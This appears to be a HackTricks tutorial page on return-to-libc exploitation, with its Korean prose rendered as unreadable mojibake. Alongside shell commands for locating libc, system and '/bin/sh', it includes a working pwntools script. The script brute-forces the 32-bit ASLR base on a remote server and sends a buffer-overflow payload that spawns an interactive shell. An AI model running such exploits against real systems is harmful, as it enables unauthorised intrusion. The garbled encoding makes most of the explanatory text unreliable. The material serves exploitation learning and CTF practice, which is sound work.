Ret2lib
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Ret2Libc์ ๋ณธ์ง์ ์ทจ์ฝํ ํ๋ก๊ทธ๋จ์ ์คํ ํ๋ฆ์ ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ ์คํ์ ์์ฝ๋๋ฅผ ์คํํ๋ ๋์ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ด์ ํจ์(์: system, execve, strcpy)๋ก ๋ฆฌ๋๋ ์ ํ๋ ๊ฒ์ ๋๋ค. ๊ณต๊ฒฉ์๋ ๋ฐํ ์ฃผ์๋ฅผ ์์ ํ์ฌ ์ํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์๋ก ๊ฐ๋ฆฌํค๋๋ก ์คํ์ ํ์ด๋ก๋๋ฅผ ์์ฑํ๋ฉฐ, ํธ์ถ ๊ท์ฝ์ ๋ฐ๋ผ ํ์ํ ์ธ์๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ์ค์ ๋๋๋ก ์ค๋นํฉ๋๋ค.
์์ ๋จ๊ณ (๋จ์ํ)
- ํธ์ถํ ํจ์์ ์ฃผ์(์: system)์ ํธ์ถํ ๋ช ๋ น(์: /bin/sh)์ ๊ฐ์ ธ์ต๋๋ค.
- ์ฒซ ๋ฒ์งธ ์ธ์๋ก ๋ช ๋ น ๋ฌธ์์ด์ ๊ฐ๋ฆฌํค๊ณ ํจ์๋ก์ ์คํ ํ๋ฆ์ ์ ๋ฌํ๋ ROP ์ฒด์ธ์ ์์ฑํฉ๋๋ค.
์ฃผ์ ์ฐพ๊ธฐ
- ํ์ฌ ๋จธ์ ์์ ์ฌ์ฉ๋๋
libc๊ฐ ๋ฉ๋ชจ๋ฆฌ์ ๋ก๋๋ ์์น๋ฅผ ์ฐพ์ผ๋ ค๋ฉด:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
ASLR์ด libc์ ์ฃผ์๋ฅผ ๋ณ๊ฒฝํ๊ณ ์๋์ง ํ์ธํ๋ ค๋ฉด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- ์ฌ์ฉ๋ libc๋ฅผ ์๋ฉด
systemํจ์์ ์คํ์ ์ ์ฐพ๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- ์ฌ์ฉ๋ libc๋ฅผ ์๋ฉด
/bin/shํจ์์ ์คํ์ ์ ์ฐพ๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
gdb-peda / GEF ์ฌ์ฉํ๊ธฐ
์ฌ์ฉ๋ libc๋ฅผ ์๋ฉด, Peda ๋๋ GEF๋ฅผ ์ฌ์ฉํ์ฌ system ํจ์, exit ํจ์ ๋ฐ ๋ฌธ์์ด **/bin/sh**์ ์ฃผ์๋ฅผ ์ป๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค:
p system
p exit
find "/bin/sh"
/proc/<PID>/maps ์ฌ์ฉํ๊ธฐ
ํ๋ก์ธ์ค๊ฐ ๋ํํ ๋๋ง๋ค ์์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๋ ๊ฒฝ์ฐ(๋คํธ์ํฌ ์๋ฒ) ํด๋น ํ์ผ์ ์ฝ์ด๋ณด์ธ์(์๋ง๋ root ๊ถํ์ด ํ์ํ ๊ฒ์ ๋๋ค).
์ฌ๊ธฐ์์ ํ๋ก์ธ์ค ๋ด๋ถ์ libc๊ฐ ๋ก๋๋ ์ ํํ ์์น์ ํ๋ก์ธ์ค์ ๋ชจ๋ ์์ ํ๋ก์ธ์ค์ ๋ํด ์ด๋์ ๋ก๋๋ ๊ฒ์ธ์ง๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
.png)
์ด ๊ฒฝ์ฐ 0xb75dc000์ ๋ก๋๋ฉ๋๋ค(์ด๊ฒ์ด libc์ ๊ธฐ๋ณธ ์ฃผ์๊ฐ ๋ฉ๋๋ค).
์ ์ ์๋ libc
์ด์ง ํ์ผ์ด ๋ก๋ํ๋ libc๋ฅผ ๋ชจ๋ฅผ ์๋ ์์ต๋๋ค(์๋ฒ์ ์ ๊ทผํ ์ ์๊ธฐ ๋๋ฌธ์ผ ์ ์์ต๋๋ค). ๊ทธ๋ฐ ๊ฒฝ์ฐ ์ทจ์ฝ์ ์ ์ ์ฉํ์ฌ ์ฃผ์๋ฅผ ์ ์ถํ๊ณ ์ด๋ค libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ฌ์ฉ๋๊ณ ์๋์ง ์ฐพ์ ์ ์์ต๋๋ค:
๊ทธ๋ฆฌ๊ณ ์ฌ๊ธฐ์์ ์ด๋ฅผ ์ํ pwntools ํ ํ๋ฆฟ์ ์ฐพ์ ์ ์์ต๋๋ค:
2๊ฐ์ ์คํ์ ์ผ๋ก libc ์๊ธฐ
ํ์ด์ง https://libc.blukat.me/๋ฅผ ํ์ธํ๊ณ libc ๋ด๋ถ์ ํจ์ ์ฃผ์ ๋ช ๊ฐ๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ์ฉ๋ ๋ฒ์ ์ ์์๋ด์ธ์.
32๋นํธ์์ ASLR ์ฐํํ๊ธฐ
์ด๋ฌํ ๋ฌด์์ ๋์ ๊ณต๊ฒฉ์ 32๋นํธ ์์คํ ์๋ง ์ ์ฉํฉ๋๋ค.
- ์ต์คํ๋ก์์ด ๋ก์ปฌ์ธ ๊ฒฝ์ฐ, libc์ ๊ธฐ๋ณธ ์ฃผ์๋ฅผ ๋ฌด์์ ๋์ ํ์ฌ ์๋ํด ๋ณผ ์ ์์ต๋๋ค(32๋นํธ ์์คํ ์ ์ ์ฉํจ):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- ์๊ฒฉ ์๋ฒ๋ฅผ ๊ณต๊ฒฉํ๋ ๊ฒฝ์ฐ,
usleeplibcํจ์์ ์ฃผ์๋ฅผ brute-force ์๋ํ ์ ์์ต๋๋ค, ์๋ฅผ ๋ค์ด ์ธ์๋ก 10์ ์ ๋ฌํฉ๋๋ค. ๋ง์ฝ ์ด๋ ์์ ์ ์๋ฒ๊ฐ ์๋ตํ๋ ๋ฐ 10์ด๊ฐ ์ถ๊ฐ๋ก ๊ฑธ๋ฆฐ๋ค๋ฉด, ์ด ํจ์์ ์ฃผ์๋ฅผ ์ฐพ์ ๊ฒ์ ๋๋ค.
One Gadget
libc์ ํ๋์ ํน์ ์ฃผ์๋ก ์ ํํ์ฌ ์ ธ์ ์คํํฉ๋๋ค:
x86 Ret2lib ์ฝ๋ ์์
์ด ์์ ์์๋ ASLR brute-force๊ฐ ์ฝ๋์ ํตํฉ๋์ด ์์ผ๋ฉฐ, ์ทจ์ฝํ ๋ฐ์ด๋๋ฆฌ๋ ์๊ฒฉ ์๋ฒ์ ์์นํฉ๋๋ค:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib ์ฝ๋ ์์
๋ค์ ์์ ๋ฅผ ํ์ธํ์ธ์:
ARM64 Ret2lib ์์
ARM64์ ๊ฒฝ์ฐ, ret ๋ช ๋ น์ด๋ x30 ๋ ์ง์คํฐ๊ฐ ๊ฐ๋ฆฌํค๋ ๊ณณ์ผ๋ก ์ ํํ๋ฉฐ, ์คํ ๋ ์ง์คํฐ๊ฐ ๊ฐ๋ฆฌํค๋ ๊ณณ์ผ๋ก๋ ์ ํํ์ง ์์ต๋๋ค. ๊ทธ๋์ ์กฐ๊ธ ๋ ๋ณต์กํฉ๋๋ค.
๋ํ ARM64์์๋ ๋ช ๋ น์ด๊ฐ ํ๋ ๋๋ก ์ํ๋ฉ๋๋ค(๋ช ๋ น์ด ์ค๊ฐ์ ์ ํํ์ฌ ์๋ก์ด ๋ช ๋ น์ด๋ก ๋ณํํ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํฉ๋๋ค).
๋ค์ ์์ ๋ฅผ ํ์ธํ์ธ์:
Ret-into-printf (๋๋ puts)
์ด๊ฒ์ printf/puts๋ฅผ ํน์ ๋ฐ์ดํฐ์ ํจ๊ป ์ธ์๋ก ํธ์ถํ์ฌ ํ๋ก์ธ์ค์์ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์๊ฒ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, puts์ GOT ์ฃผ์๋ฅผ puts ์คํ์ ๋ฃ์ผ๋ฉด ๋ฉ๋ชจ๋ฆฌ์์ puts์ ์ฃผ์๋ฅผ ์ ์ถํ๊ฒ ๋ฉ๋๋ค.
Ret2printf
์ด๊ฒ์ ๊ธฐ๋ณธ์ ์ผ๋ก Ret2lib๋ฅผ ์
์ฉํ์ฌ printf ํ์ ๋ฌธ์์ด ์ทจ์ฝ์ ์ผ๋ก ๋ณํํ๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค. ret2lib๋ฅผ ์ฌ์ฉํ์ฌ printf๋ฅผ ํธ์ถํ๊ณ ์ด๋ฅผ ์
์ฉํ ๊ฐ์ ์ ๋ฌํฉ๋๋ค(์ธ๋ชจ์์ด ๋ณด์ด์ง๋ง ๊ฐ๋ฅํจ):
๊ธฐํ ์์ ๋ฐ ์ฐธ์กฐ
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, libc์ ํจ์ ์ฃผ์์ ๋ํ ์ ์ถ์ ์ ๊ณตํ๋ฉฐ, one gadget ์ฌ์ฉ
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64๋นํธ, ASLR ํ์ฑํ, PIE ์์, ์ฒซ ๋ฒ์งธ ๋จ๊ณ๋ canary์ ๋ฐ์ดํธ 0x00๊น์ง ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ฑ์ด ๋ค์ puts๋ฅผ ํธ์ถํ์ฌ ์ ์ถํ๋ ๊ฒ์
๋๋ค. canary๋ก ROP ๊ฐ์ ฏ์ ์์ฑํ์ฌ GOT์์ puts์ ์ฃผ์๋ฅผ ์ ์ถํ๊ณ
system('/bin/sh')๋ฅผ ํธ์ถํ๋ ROP ๊ฐ์ ฏ์ ์์ฑํฉ๋๋ค. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64๋นํธ, ASLR ํ์ฑํ, canary ์์, ์์ ํจ์์์ main์ ์คํ ์ค๋ฒํ๋ก์ฐ. GOT์์ puts์ ์ฃผ์๋ฅผ ์ ์ถํ๊ธฐ ์ํด puts๋ฅผ ํธ์ถํ๋ ROP ๊ฐ์ ฏ๊ณผ ๊ทธ ๋ค์์ one gadget์ ํธ์ถํฉ๋๋ค.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64๋นํธ, PIE ์์, canary ์์, relro ์์, nx. write ํจ์๋ฅผ ์ฌ์ฉํ์ฌ write(libc)์ ์ฃผ์๋ฅผ ์ ์ถํ๊ณ one gadget์ ํธ์ถํฉ๋๋ค.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- ํ์ ๋ฌธ์์ด์ ์ฌ์ฉํ์ฌ ์คํ์์ canary๋ฅผ ์ ์ถํ๊ณ ,
/bin/sh์ ์ฃผ์๋ก system์ ํธ์ถํ๊ธฐ ์ํด ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ฌ์ฉํฉ๋๋ค(์ฃผ์๋ GOT์ ์์). - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32๋นํธ, relro ์์, canary ์์, nx, pie. ์๋ชป๋ ์ธ๋ฑ์ฑ์ ์
์ฉํ์ฌ ์คํ์์ libc์ ํ์ ์ฃผ์๋ฅผ ์ ์ถํฉ๋๋ค. ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์
์ฉํ์ฌ
system('/bin/sh')๋ฅผ ํธ์ถํ๋ ret2lib๋ฅผ ์ํํฉ๋๋ค(ํ ์ฃผ์๋ ๊ฒ์ฌ๋ฅผ ์ฐํํ๋ ๋ฐ ํ์ํจ).
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


